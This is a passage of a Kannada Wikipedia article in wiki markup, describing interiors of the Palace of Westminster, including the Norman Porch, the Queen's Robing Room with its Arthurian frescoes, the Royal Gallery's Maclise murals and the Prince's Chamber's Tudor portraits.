ಪ್ರಧಾನ ಅಂತಸ್ತಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತಿತ್ತು. ಇದು ಕಂದು ಬಣ್ಣದ ಗ್ರಾನೈಟ್ ನಿಂದ ನಿರ್ಮಿಸಲಾದ ೨೬ ಮೆಟ್ಟಿಲುಗಳ ವಿಶಾಲವಾದ, ಒಡೆಯದ ಸಾಲುಮೆಟ್ಟಿಲುಗಳಾಗಿವೆ.<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆನ್ಸೈ (೧೯೯೪), p. ೩೦; ವಿಲ್ಸನ್ (೨೦೦೫), p. ೮.</ref> ರಾಜವಂಶದ ಅಶ್ವದಳದ ಎರಡು ತುಕಡಿಗಳಾದ ಲೈಫ್ ಗಾರ್ಡ್ಸ್ ಹಾಗು ಬ್ಲ್ಯೂಸ್ ಅಂಡ್ ರಾಯಲ್ಸ್ ನ ಕತ್ತಿಯನ್ನು ಹಿಡಿದ ಸೈನಿಕರು ರಾಜ್ಯದಲ್ಲಿ ನಡೆಯುವ ವಿಶೇಷ ಸಮಾರಂಭಗಳಲ್ಲಿ ಈ ಮೆಟ್ಟಿಲುಗಳ ಮೇಲೆ ಸಾಲಾಗಿ ನಿಂತಿರುತ್ತಾರೆ.<ref>{{Cite web |url=http://www.army.mod.uk/events/ceremonial/1073.aspx |title=The State Opening of Parliament |publisher=British Army |accessdate=12 May 2010}}</ref> ಮೆಟ್ಟಿಲಸಾಲಿನ ನಂತರ ನಾರ್ಮನ್ ದ್ವಾರ ಮಂಟಪವು ಸಿಗುತ್ತದೆ, ಇದು ಚೌಕಾಕಾರವಾಗಿದ್ದು, ಮಧ್ಯದಲ್ಲಿ ಜೊಂಪೆಯಾದ ಎತ್ತರವಾದ ದುಂಡುಗಂಬದಿಂದ ಹಾಗು ಅದಕ್ಕೆ ಆಧಾರವಾಗಿರುವ ಸಂಕೀರ್ಣವಾದ ಮೇಲ್ಚಾವಣಿಯಿಂದ ವಿಶಿಷ್ಟವಾಗಿತ್ತು. ಇದು ನಾಲ್ಕು ಕೂಡಂಚು ಕಮಾನುಗಳ ಜೊತೆಯಲ್ಲಿ ಲಿಯರ್ನ್(ಗಾಥಿಕ್ ಕಟ್ಟಡದ ಕಮಾನುಪಟ್ಟಿಗಳನ್ನು ಕೂಡಿಸುವ ಕಿರುಪಟ್ಟಿ) ಏಣುಗಳು ಹಾಗು ಕೆತ್ತಲ್ಪಟ್ಟ ಉಬ್ಬುಶಿಲ್ಪಗಳಿಂದ ಮಾಡಲ್ಪಟ್ಟಿತ್ತು. ದ್ವಾರ ಮಂಟಪವು ನಾರ್ಮನ್ ಇತಿಹಾಸವನ್ನು ಆಧರಿಸಿ ತನ್ನ ಉದ್ದೇಶಿತ ಅಲಂಕಾರಿಕ ಯೋಜನೆಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದೆ.<ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , p. ೨೫.</ref> ಈ ಸಂದರ್ಭದಲ್ಲಿ, ಯೋಜಿಸಲಾದಂತೆ ನಾರ್ಮನ್ ರಾಜರುಗಳ ಮೂರ್ತಿಗಳಾಗಲೀ ಅಥವಾ ಚಿತ್ರಾಲಂಕಾರಗಳಾಗಲೀ ಕಾರ್ಯರೂಪಕ್ಕೆ ಬರಲಿಲ್ಲ; ಹಾಗು ಕೇವಲ ಬಣ್ಣದ ಗಾಜಿನ ಮೇಲೆ ಚಿತ್ರಿಸಲಾದಂತಹ ವಿಲ್ಲಿಯಮ್ ದಿ ಕಾಂಕ್ವರರ್ ನ ಚಿತ್ರವು ಈ ವಿಷಯ ವಸ್ತುವಿನ ಬಗ್ಗೆ ಸುಳುಹು ನೀಡುತ್ತದೆ. ಕೊಠಡಿಯಲ್ಲಿ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾಳ ಎರಡು ಚಿತ್ರಗಳು ಕಂಡುಬರುತ್ತದೆ; ಒಂದರಲ್ಲಿ ಬಣ್ಣದ ಗಾಜ್ನಿನ ಮೇಲೆ ಚಿತ್ರಿಸಲಾದ ಯುವತಿ ವಿಕ್ಟೋರಿಯಾ,<ref>ಫೆಲ್ ಅಂಡ್ ಮ್ಯಾಕೆನ್ಸೈ (೧೯೯೪), p. ೩೧.</ref> ಹಾಗು ಆಕೆಯ ಜೀವಿತಾವಧಿಯ ಕೊನೆಯಲ್ಲಿ ಚಿತ್ರಿಸಲಾದ ಮತ್ತೊಂದು ಚಿತ್ರಣ, ಇದರಲ್ಲಿ ಆಕೆ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಗಳ ಸಿಂಹಾಸನದ ಮೇಲೆ ಆಸೀನಳಾಗಿದ್ದಾಳೆ, ೧೯೦೦ರಲ್ಲಿ ಈ ಚಿತ್ರವನ್ನು ಜೀನ್-ಜೋಸೆಫ್ ಬೆಂಜಮಿನ್-ಕಾನ್ಸ್ಟೆಂಟ್ <ref>ರೈಡಿಂಗ್ ಅಂಡ್ ರೈಡಿಂಗ್ (೨೦೦೦), p. ೧೯೦.</ref>ಎಂಬ ಕಲಾವಿದನು ರಚಿಸಿದ್ದಾರೆ. ಮೂರ್ತಿಗಳಿಗೆಂದು ಉದ್ದೇಶಿಸಲಾಗಿದ್ದ ಹದಿನಾರು ಕಂಬದ ಪೀಠಗಳು, ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ನಿಂದ ಆಯ್ಕೆಯಾಗುವ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳ ಪ್ರತಿಮೆಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ; ಉದಾಹರಣೆಗೆ ಅರ್ಲ್ ಗ್ರೇ ಹಾಗು ಮಾರ್ಕ್ವೆಸ್ಸ್ ಆಫ್ ಸಾಲಿಸ್ಬರಿ ಮೆಟ್ಟಿಲ ಸಾಲಿನ ಎದುರಿರುವ ಎರಡು ದ್ವಾರಗಳು ರಾಯಲ್ ಗ್ಯಾಲರಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತವೆ, ಹಾಗು ಬಲಭಾಗದಲ್ಲಿರುವ ಮತ್ತೊಂದು ದ್ವಾರವು ವಸ್ತ್ರಾಲಂಕಾರ ಕೊಠಡಿಗೆ ಹೋಗುವ ಮಾರ್ಗವಾಗಿದೆ.<ref name="Lords Route tour"/> === ರಾಣಿಯ ವಸ್ತ್ರಾಲಂಕಾರ ಕೊಠಡಿ === [[ಚಿತ್ರ:Royal Robing Room, Palace of Westminster.jpg|thumb|alt=See adjacent text.|ಅಲಂಕರಣದ ಕೊಠಡಿಗಳಲ್ಲಿ ಚೇರ್ ಆಫ್ ಸ್ಟೇಟ್ ನ ಮೇಲೆ ಸಂಸತ್ತಿನ ಆರಂಭಕ್ಕೆ ರಾಜನ ತಯಾರಿಗಳು]] ರಾಣಿಯ ವಸ್ತ್ರಾಲಂಕಾರ ಕೊಠಡಿಯು, ಅರಮನೆಯ ವಿಧ್ಯುಕ್ತ ಕೂಟವು ನಡೆಯುವ ದಕ್ಷಿಣ ತುದಿಯಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ, ಹಾಗು ಇದು ಕಟ್ಟಡದ ದಕ್ಷಿಣ ಮುಖಭಾಗದ ಮಧ್ಯದಲ್ಲಿ, ಇಲ್ಲಿಂದ ವಿಕ್ಟೋರಿಯಾ ಟವರ್ ಉದ್ಯಾನವನವನ್ನು ವೀಕ್ಷಿಸಬಹುದು.<ref name="Wilson, pp. 8-9">ವಿಲ್ಸನ್ (೨೦೦೫), pp. ೮–೯.</ref> ಹೆಸರೇ ಸೂಚಿಸುವಂತೆ, ಇಲ್ಲಿ ರಾಜನು ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭಕ್ಕೆ ಮುನ್ನ ಅಧಿಕೃತ ವಸ್ತ್ರಾಭರಣ ಹಾಗು ಸಾಮ್ರಾಜ್ಯಶಾಹಿ ರಾಜನ ಕಿರೀಟವನ್ನು ಧರಿಸುತ್ತಾನೆ.<ref name="Robing Room">{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palace-s-interiors/robing-room/ |title=Architecture of the Palace: The Robing Room |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ವೈಭವೋಪೇತವಾಗಿ ಅಲಂಕೃತವಾದ ಈ ಕೊಠಡಿಯ ಮುಖ್ಯ ಆಕರ್ಷಣೆಯೆಂದರೆ ರಾಜನು ಬಳಸುವ ಅಧಿಕಾರದ ಕೇಂದ್ರ ಸ್ಥಳ; ಇದನ್ನು ಮೂರು ಮೆಟ್ಟಿಲುಗಳ ವೇದಿಕೆಯ ಮೇಲೆ ಇರಿಸಲಾಗಿರುತ್ತದೆ.ಇದರ ಕೆಳಭಾಗದಲ್ಲಿ ಇಂಗ್ಲೆಂಡ್, ಸ್ಕಾಟ್ಲ್ಯಾಂಡ್ ಹಾಗು ಐರ್ಲೆಂಡ್ ನ ಹೂವಿನ ಲಾಂಛನಗಳು ಹಾಗು ವಿವಿಧ ಶಸ್ತ್ರಾಸ್ತ್ರಗಳ ಮೂಲಕ ಅಲಂಕರಿಸಲಾಗಿರುತ್ತದೆ. ಕುರ್ಚಿಯ ಹಿಂಭಾಗದಲ್ಲಿ ನೇರಳೆ ಬಣ್ಣದ ವೆಲ್ವೆಟ್ ಬಟ್ಟೆಯನ್ನು ಹಾಕಲಾಗಿರುತ್ತದೆ, ರಾಜವಂಶದ ಶಸ್ತ್ರಾಸ್ತ್ರಗಳೊಂದಿಗೆ ರಾಯಲ್ ಸ್ಕೂಲ್ ಆಫ್ ನೀಡಲ್ವರ್ಕ್ ಇದರ ಕಸೂತಿಯನ್ನು ಮಾಡಿರುತ್ತದೆ, ಇದರ ಸುತ್ತ ನಕ್ಷತ್ರಗಳು ಹಾಗು ''VR'' ಎಂಬ ಸಂಯುಕ್ತಾಕ್ಷರಗಳಿರುತ್ತವೆ.<ref name="Lords Route tour"/> ಎಡ್ವರ್ಡ್ ಬ್ಯಾರಿ ಎರಡೂ ಕುರ್ಚಿಯನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಿದ್ದಾರೆ—ಒರಗಿಕೊಳ್ಳುವ ಮೆತ್ತೆಯನ್ನೂ ಸಹ ಕಸೂತಿಯಿಂದ ಅಲಂಕರಿಸಲಾಗಿದೆ—ಹಾಗು ಕೊಠಡಿಯ ಸುತ್ತಲೂ ಅಲಂಕೃತ ಅಮೃತಶಿಲೆಯ ಬೆಂಕಿಗೂಡಿದೆ, ಇದು ಸೆಂಟ್ ಜಾರ್ಜ್ ಹಾಗು ಸೆಂಟ್ ಮೈಕಲ್ ರ ಚಿನ್ನ ಬಣ್ಣ ಲೇಪಿತ ಮೂರ್ತಿಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.<ref name="Wilson, pp. 8-9"/> ಕೊಠಡಿಯ ಅಲಂಕೃತ ವಿಷಯವಸ್ತುವು ದಂತಕಥೆ [[ಕಿಂಗ್ ಆರ್ಥರ್|ರಾಜ ಆರ್ಥರ್]] ನದ್ದಾಗಿದೆ, ಇವನನ್ನು ಹಲವು ವಿಕ್ಟೋರಿಯನ್ನರು ತಮ್ಮ ರಾಷ್ಟ್ರತ್ವಕ್ಕೆ ಮೂಲವೆಂದು ಭಾವಿಸುತ್ತಾರೆ.<ref name="Field, p. 192">ಫೀಲ್ಡ್ (೨೦೦೨), p. ೧೯೨.</ref> ೧೮೪೮ ಹಾಗು ೧೮೬೪ರ ನಡುವೆ ವಿಲ್ಲಿಯಮ್ ಡೈಸೆ ಚಿತ್ರಿಸಿದ ಐದು ವರ್ಣಚಿತ್ರಗಳು ಭಿತ್ತಿಗಳ ಮೇಲೆ ಅಲಂಕೃತವಾಗಿವೆ, ಇದು ಪುರಾಣದ ಅನ್ಯೋಕ್ತಿಯ ವಿಷಯಗಳನ್ನು ನಿರೂಪಿಸುತ್ತವೆ. ಪ್ರತಿಯೊಂದು ದೃಶ್ಯವು ಒಂದು ಧೀರನ ಸದ್ಗುಣವನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ; ಇದರಲ್ಲಿ ಅತ್ಯಂತ ದೊಡ್ಡದಾದ ವರ್ನಚಿತ್ರವು ಎರಡು ಬಾಗಿಲುಗಳಷ್ಟಿದೆ, ಇದನ್ನು ''ಅಡ್ಮಿಶನ್ ಆಫ್ ಸರ್ ಟ್ರಿಸ್ಟ್ರ್ಯಾಮ್ ಟು ದಿ ರೌಂಡ್ ಟೇಬಲ್'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ ಹಾಗು ಇದು ಆತಿಥೇಯ ನೀಡುವ ಗುಣವನ್ನು ಸ್ಪಷ್ಟಪಡಿಸುತ್ತದೆ.<ref name="Lords Route tour"/> ಮೂಲತಃ ಏಳು ಚಿತ್ರಗಳ ರಚನೆಗೆ ಯೋಜಿಸಲಾಗಿತ್ತು ಆದರೆ ಕಲಾವಿದನ ನಿಧನದಿಂದಾಗಿ ಬಾಕಿ ಉಳಿದ ಎರಡು ಚಿತ್ರಗಳ ರಚನೆ ಸಾಧ್ಯವಾಗಲಿಲ್ಲ, ಹಾಗು ರಾಜನ ಆಡಳಿತ ಕುರ್ಚಿಯ ಪಕ್ಕದಲ್ಲಿರುವ ಗೋಡೆಕಾಗದದ ಅಂಕಣಫಲಕಗಳಲ್ಲಿ ಫ್ರಾನ್ಜ್ ಜೇವರ್ ವಿಂಟರ್ಹಾಲ್ಟರ್ ರಚಿಸಿದ ರಾಣಿ ವಿಕ್ಟೋರಿಯಾ ಹಾಗು ಯುವರಾಜ ಆಲ್ಬರ್ಟ್ ರ ತೈಲ ವರ್ಣಚಿತ್ರಗಳಿವೆ.<ref name="Wilson, pp. 8-9"/>{{#tag:ref|Depicted (clockwise) are the virtues of Courtesy, Religion, Generosity, Hospitality and Mercy. The two missing frescoes were meant to depict Fidelity and Courage.<ref name="Guide, p. 26">[[#Guide|''Guide to the Palace of Westminster'']], p. 26.</ref> Queen Victoria's portrait can be seen in the Parliamentary website.<ref>{{Cite web |url=http://www.parliament.uk/worksofart/artwork/unknown/queen-victoria--1819-1901-/3154 |title=Queen Victoria (1819–1901) |publisher=UK Parliament |accessdate=5 August 2010}}</ref>|group=note}} ಕೊಠಡಿಯಲ್ಲಿರುವ ಇತರ ಅಲಂಕರಣಗಳೂ ಸಹ ಆರ್ಥರಿಯನ್ ಪುರಾಣದಿಂದ ಪ್ರೇರೇಪಿತವಾಗಿವೆ; ಉದಾಹರಣೆಗೆ ವರ್ಣಚಿತ್ರಗಳ ಅಡಿಯಲ್ಲಿ ೧೮ ಅರೆಯುಬ್ಬು ಶಿಲ್ಪಗಳ ಸರಣಿಯಿದೆ. ಇದನ್ನು ಹೆನ್ರಿ ಹಗ್ ಹ್ಯಾಮ್ಸ್ಟೆಡ್ ಓಕ್ ಮರದಲ್ಲಿ ಕೆತ್ತಿದ್ದಾರೆ,<ref name="Lords Route tour"/> ಹಾಗು ಮೇಲ್ಚಾವಣಿಯ ಕೆಳಗಡೆ ಅಲಂಕರಣಪಟ್ಟಿಯಿದೆ. ಇದು ರೌಂಡ್ ಟೇಬಲ್ ನೈಟ್ಸ್ ಗಳ ವಂಶಲಾಂಛನದ ಗುರುತನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ.<ref name="Guide, p. 26"/> ಸ್ವತಃ ಮೇಲ್ಚಾವಣಿಯು ವಂಶಲಾಂಛನಗಳ ಚಿಹ್ನೆಗಳಿಂದ ಅಲಂಕೃತಗೊಂಡಿವೆ, ಇದೇ ರೀತಿಯಾಗಿ ಮರದ ನೆಲದ ಅಂಚುಗಳೂ ಸಹ<ref name="Guide, p. 28"/>—ಇದು ಬಿಂಬದಲ್ಲಿ ಬಲ ಭಾಗಕ್ಕೆ ಕಂಡರೆ, ಎಡ ಭಾಗದಲ್ಲಿ ಜಮಖಾನೆಗಳು ಹಾಸಲ್ಪಟ್ಟಿರುತ್ತವೆ. === ರಾಜವಂಶದ ಗ್ಯಾಲರಿ === ವಸ್ತ್ರಾಲಂಕರಣ ಕೊಠಡಿಯ ನೇರಕ್ಕೆ ಉತ್ತರದಿಕ್ಕಿಗೆ ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯಿದೆ. {{Convert|33.5|by|13.7|m|ft}}ನಲ್ಲಿ, ಇದು ಅರಮನೆಯ ಅತ್ಯಂತ ದೊಡ್ಡ ಕೊಠಡಿಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ.<ref name="Factsheet G11"/> ಇದರ ಮುಖ್ಯ ಉದ್ದೇಶವೆಂದರೆ, ಸಂಸತ್ತಿನ ಅಧಿವೇಶನದ ಆರಂಭದಲ್ಲಿ ನಡೆಯುವ ರಾಜವಂಶದ ಮೆರವಣಿಗೆಗೆ ವೇದಿಕೆಯಾಗಿ ನೆರವಾಗುವುದು. ಇದನ್ನು ಪ್ರೇಕ್ಷಕರು ಮಾರ್ಗದ ಎರಡೂ ಬದಿಯಲ್ಲಿ ತಾತ್ಕಾಲಿಕವಾಗಿ ನಿರ್ಮಿಸಲಾದ ಮೆಟ್ಟಿಲ ಸಾಲಿನ ಆಸನಗಳಿಂದ ವೀಕ್ಷಿಸಬಹುದು.<ref>ಕ್ವೀನ್ ಅಲ್ಟ್(೧೯೯೨), pp. ೮೪–೮೫.</ref> ಇದನ್ನು, ಸಂಸತ್ತಿನ ಎರಡೂ ಭವನಗಳನ್ನು ಉದ್ದೇಶಿಸಿ ಮಾತನಾಡಲು ಬರುವ ವಿದೇಶದ ಹಿರಿಯ ರಾಜಕಾರಣಿಗಳ ಭೇಟಿಯ ಸಂದರ್ಭದಲ್ಲಿಯೂ ಸಹ ಬಳಸಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಇದನ್ನು ವಿದೇಶಿ ಉನ್ನತಾಧಿಕಾರಿಗಳಿಗೆ ಗೌರವಾರ್ಥವಾಗಿ ನೀಡುವ ಸ್ವಾಗತ ಸಮಾರಂಭಗಳಿಗೆ,<ref name="Royal Gallery">{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palace-s-interiors/royal-gallery/ |title=Architecture of the Palace: The Royal Gallery |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಹಾಗು ಸಾಮಾನ್ಯವಾಗಿ ಲಾರ್ಡ್ಸ್ ಚ್ಯಾನ್ಸಲರ್ ಬೆಳಗಿನ ಉಪಹಾರ ಮಾಡಲು;<ref>{{Cite web |url=http://www.parliament.uk/about/how/occasions/lcbreakfast/ |title=Lord Chancellor's breakfast |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಈ ಹಿಂದೆ ಈ ಕೊಠಡಿಯು ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಹಲವಾರು ವರಿಷ್ಠವರ್ಗದ ಮೇಲೆ ನಡೆಸುತ್ತಿದ್ದ ವಿಚಾರಣೆಗಳಿಗೆ ಸಭಾಂಗಣವಾಗಿತ್ತು.<ref name="Royal Gallery"/><ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , p. ೨೯.</ref> ಸಂಸತ್ತಿನ ದಸ್ತಾವೇಜುಗಳ ದಾಖಲೆಗಳನ್ನು ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕೆ ಇಡಲಾಗಿದೆ.(ಇದರಲ್ಲಿ ಚಾರ್ಲ್ಸ್ Iರ ಮರಣದಂಡನೆ ಪತ್ರದ ಯಥಾಪ್ರತಿ), ಹಾಗು ಮೇಜುಗಳು ಹಾಗು ಆಸನಗಳು ಲಾರ್ಡ್ಸ್ ನ ಸದಸ್ಯರಿಗೆ ಕೆಲಸ ಮಾಡಲು ಅವಕಾಶ ನೀಡುವುದರ ಜೊತೆಗೆ ಇದು ಅವರ ಚರ್ಚಾ ಕೊಠಡಿಗೆ ತೀರ ಸಮೀಪದಲ್ಲಿದೆ.<ref name="Lords Route tour"/> [[ಚಿತ್ರ:Royal Gallery, Palace of Westminster.jpg|thumb|left|ಮ್ಯಾಕ್ ಲೈಸ್ ರ ಹಸಿಚಿತ್ರಗಳು ಹಾಳಾದ ನಂತರ ರಾಯಲ್ ಗ್ಯಾಲರಿಯ ಉಳಿದ ಗೋಡೆಗಳನ್ನು ಚಿತ್ರಿಸದೆಯೇ ಹಾಗೇ ಬಿಡಲಾಯಿತು.]] ರಾಜವಂಶದ ಗ್ಯಾಲರಿಯ ಅಲಂಕರಣ ಯೋಜನೆಯು ಬ್ರಿಟಿಶ್ ಮಿಲಿಟರಿ ಇತಿಹಾಸದ ಮುಖ್ಯ ಘಟನಾವಳಿಗಳನ್ನು ಪ್ರದರ್ಶಿಸುವ ಉದ್ದೇಶ ಹೊಂದಿತ್ತು, ಹಾಗು ಇದರ ಭಿತ್ತಿಗಳು ಡೆನಿಯಲ್ ಮಕ್ಲಿಸೆಯವರ ಎರಡು ದೊಡ್ಡ ವರ್ಣಚಿತ್ರಗಳಿಂದ ಅಲಂಕೃತವಾಗಿವೆ. ಇದರಲ್ಲಿ ಒಂದೊಂದು{{Convert|13.7|by|3.7|m|ft}} ರಷ್ಟು ಅಳತೆಯಲ್ಲಿವೆ: ''ದಿ ಡೆತ್ ಆಫ್ ನೆಲ್ಸನ್'' (ಇದು ೧೮೦೫ರ ಟ್ರಫಾಲ್ಗರ್ ಯುದ್ಧದಲ್ಲಿ ಮರಣವನ್ನಪ್ಪಿದ ಲಾರ್ಡ್ ನೆಲ್ಸನ್ ಬಗ್ಗೆ ನಿರೂಪಿಸುತ್ತದೆ.) ಹಾಗು ದಿ ಮೀಟಿಂಗ್ ಆಫ್ ವೆಲ್ಲಿಂಗ್ಟನ್ ಅಂಡ್ ಬ್ಲುಚೆರ್(೧೮೧೫ರಲ್ಲಿ [[ವಾಟರ್ಲೂ ಕಾಳಗ|ವಾಟರ್ ಲೂ ಯುದ್ಧ]]ದಲ್ಲಿ ಡ್ಯೂಕ್ ಆಫ್ ವೆಲ್ಲಿಂಗ್ಟನ್ ಹಾಗು ಗೆಬಾರ್ಡ್ ಲೆಬೆರೆಚ್ಟ್ ವೊನ್ ಬ್ಲುಚೆರ್ ಸಂಧಿಸಿದ್ದರ ಬಗ್ಗೆ ನಿರೂಪಿಸುತ್ತದೆ.<ref name="Lords Route tour"/> ಭಿತ್ತಿ ಚಿತ್ರಗಳು,ಅವುಗಳು ಪೂರ್ಣಗೊಂಡ ಸ್ವಲ್ಪದಿನದಲ್ಲಿ ಹಲವಾರು ಕಾರಣಗಳಿಂದ ನಾಶವಾದವು.ಇದಕ್ಕೆ ಬಹುಮುಖ್ಯ ಕಾರಣವೆಂದರೆ ವಾತಾವರಣದಲ್ಲಿನ ಮಾಲಿನ್ಯತೆ, ಹಾಗು ಇಂದು ಅದು ಬಹುತೇಕವಾಗಿ ಏಕವರ್ಣೀಯ ಚಿತ್ರವಾಗಿದೆ.<ref name="Field, p. 192"/> ಯೋಜಿಸಲಾದಂತಹ ಉಳಿದ ಹಸಿಚಿತ್ರಗಳ ರಚನೆಯನ್ನು ರದ್ದುಪಡಿಸಲಾಯಿತು; ಹಾಗು ಗೋಡೆಗಳು ಜಾರ್ಜ್ I ನಂತರ ಬಂದ ರಾಜರುಗಳು ಹಾಗು ರಾಣಿಯರ ವರ್ಣಚಿತ್ರಗಳಿಂದ ಭರ್ತಿಯಾಗಿದೆ.<ref>ವಿಲ್ಸನ್ (೨೦೦೫), pp. ೮, ೧೦–೧೧.</ref> ಮಿಲಿಟರಿ ಲಕ್ಷಣದಲ್ಲಿರುವ ಮತ್ತೊಂದು ಅಲಂಕೃತ ಅಂಶವೆಂದರೆ ಕಾಯೆನ್ ಕಲ್ಲಿಗೆ ಚಿನ್ನದ ಲೇಪನ ಮಾಡಲಾದ ಎಂಟು ಮೂರ್ತಿಗಳು, ಇದು ಮೂರು ಬಾಗಿಲ ದಾರಿಯಿಂದ ಸುತ್ತುವರೆದಿದೆ, ಹಾಗು ಗ್ಯಾಲರಿಯ ಚಾಚು ಕಿಟಕಿಯನ್ನು ಜಾನ್ ಬರ್ನಿ ಫಿಲಿಫ್ ಕೆತ್ತನೆ ಮಾಡಿದ್ದಾರೆ. ಪ್ರತಿಯೊಂದೂ ಒಬ್ಬ ರಾಜನ ವಿವರಣೆಯನ್ನು ನೀಡುವುದರ ಜೊತೆಗೆ ಆತನ ಆಳ್ವಿಕೆಯಲ್ಲಿ ನಡೆದಂತಹ ಪ್ರಮುಖ ಯುದ್ಧ ಅಥವಾ ಕದನದ ಬಗ್ಗೆ ನಿರೂಪಿಸುತ್ತದೆ.<ref name="Lords Route tour"/> ನೆಲದ ಮೇಲ್ಭಾಗದಲ್ಲಿರುವ{{Convert|13.7|m|ft}} ಅಂಕಣಫಲಕಗಳು<ref name="Factsheet G11"/>, ಟ್ಯೂಡರ್ ಗುಲಾಬಿಗಳು ಹಾಗು ಸಿಂಹಗಳ ಚಿತ್ರಗಳನ್ನು ಒಳಗೊಂಡಿವೆ; ಹಾಗು ಬಣ್ಣ ಲೇಪಿತ ಕಿಟಕಿಗಳು, ಇಂಗ್ಲೆಂಡ್ ಹಾಗು ಸ್ಕಾಟ್ಲ್ಯಾಂಡ್ ನ ರಾಜರುಗಳ ವಂಶಲಾಂಛನವನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತವೆ.<ref name="Royal Gallery"/> === ಯುವರಾಜನ ಕೊಠಡಿ === ಯುವರಾಜನ ಕೊಠಡಿಯು, ರಾಜವಂಶದ ಗ್ಯಾಲರಿ ಹಾಗು ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಯ ನಡುವೆಯಿರುವ ಒಂದು ಸಣ್ಣ [[wiktionary:anteroom|ಹೊರಕೊಣೆ]]ಯಾಗಿದೆ. ಇದು ಹಳೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಸಂಸತ್ತಿನ ಕೊಠಡಿಗೆ ಹೊಂದಿಕೊಂಡಂತೆ ಇರುವ ಕೋಣೆಗೆ ಈ ಹೆಸರಿಡಲಾಗಿದೆ. ಇದು ನಿರ್ಮಿತವಾಗಿರುವ ಸ್ಥಳದ ಕಾರಣದಿಂದಾಗಿ, ಇಲ್ಲಿ ಲಾರ್ಡ್ಸ್ ಗಳ ಸದಸ್ಯರು ಭೇಟಿಯಾಗಿ ಸಂಸತ್ತಿನ ವ್ಯವಹಾರಗಳ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸುತ್ತಾರೆ. ಈ ಕೊಠಡಿಗೆ ಹೋಗಲು ಹಲವಾರು ಬಾಗಿಲುಗಳಿವೆಯಲ್ಲದೇ, ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಗಳ ಲಾಬಿಯ ವಿಭಾಗ ಹಾಗು ಹಲವಾರು ಪ್ರಮುಖ ಕಚೇರಿಗಳಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತದೆ.<ref name="Lords Route tour"/> ಯುವರಾಜನ ಕೊಠಡಿಯ ವಿಷಯವಸ್ತುವೆಂದರೆ ಟ್ಯೂಡರ್ ಇತಿಹಾಸ, ಹಾಗು ಕೋಣೆಯ ಸುತ್ತಲೂ ಅಂಕಣಫಲಕಗಳ ಮೇಲೆ ಚಿತ್ರಿಸಲಾದ ೨೮ ತೈಲ ವರ್ಣಚಿತ್ರಗಳು, ಟ್ಯೂಡರ್ ಸಾಮ್ರಾಜ್ಯದ ಸದಸ್ಯರುಗಳ ಬಗ್ಗೆ ನಿರೂಪಣೆ ನೀಡುತ್ತವೆ. ಇವುಗಳು ರಿಚರ್ಡ್ ಬರ್ಚೆಟ್ಟ್ ಹಾಗು ಅವರ ಶಿಷ್ಯರುಗಳು ರಚಿಸಿದ ಚಿತ್ರಗಳಾಗಿವೆ; ಹಾಗು ಅವರ ರಚನೆಯು ವ್ಯಾಪಕವಾದ ಸಂಶೋಧನೆಯಿಂದ ಪರಭಾರೆ ಮಾಡಿಕೊಳ್ಳಲಾಗಿದೆ. ಇದು ೧೮೫೬ರಲ್ಲಿ ನ್ಯಾಷನಲ್ ಪೋರ್ಟ್ರೈಟ್ ಗ್ಯಾಲರಿಯ ಸ್ಥಾಪನೆಗೆ ಕಾರಣವಾಯಿತು, ೧೨ ಕಂಚಿನ ಅರೆಯುಬ್ಬು ಶಿಲ್ಪಗಳು ಈ ಭಿತ್ತಿಚಿತ್ರಗಳ ಕೆಳಗೆ ಇರಿಸಲಾಗಿದೆ, ಇವುಗಳನ್ನು ೧೮೫೫-೫೭ರ ನಡುವೆ ವಿಲ್ಲಿಯಮ್ ತೀಡ್ ರಚನೆ ಮಾಡಿದರು.<ref name="Lords Route tour"/> ಇದರ ದೃಶ್ಯಾವಳಿಗಳಲ್ಲಿ ''ದಿ ಫೀಲ್ಡ್ ಆಫ್ ದಿ ಕ್ಲಾತ್ ಆಫ್ ಗೋಲ್ಡ್'' , ''ದಿ ಎಸ್ಕೇಪ್ ಆಫ್ ಮೇರಿ, ಕ್ವೀನ್ ಆಫ್ ಸ್ಕಾಟ್ಸ್'' ಹಾಗು ''ರಾಲಿಗ್ ಸ್ಪ್ರೆಡಿಂಗ್ ಹಿಸ್ ಕ್ಲೋಕ್ ಆಸ್ ಏ ಕಾರ್ಪೆಟ್ ಫಾರ್ ದಿ ಕ್ವೀನ್'' ಗಳು 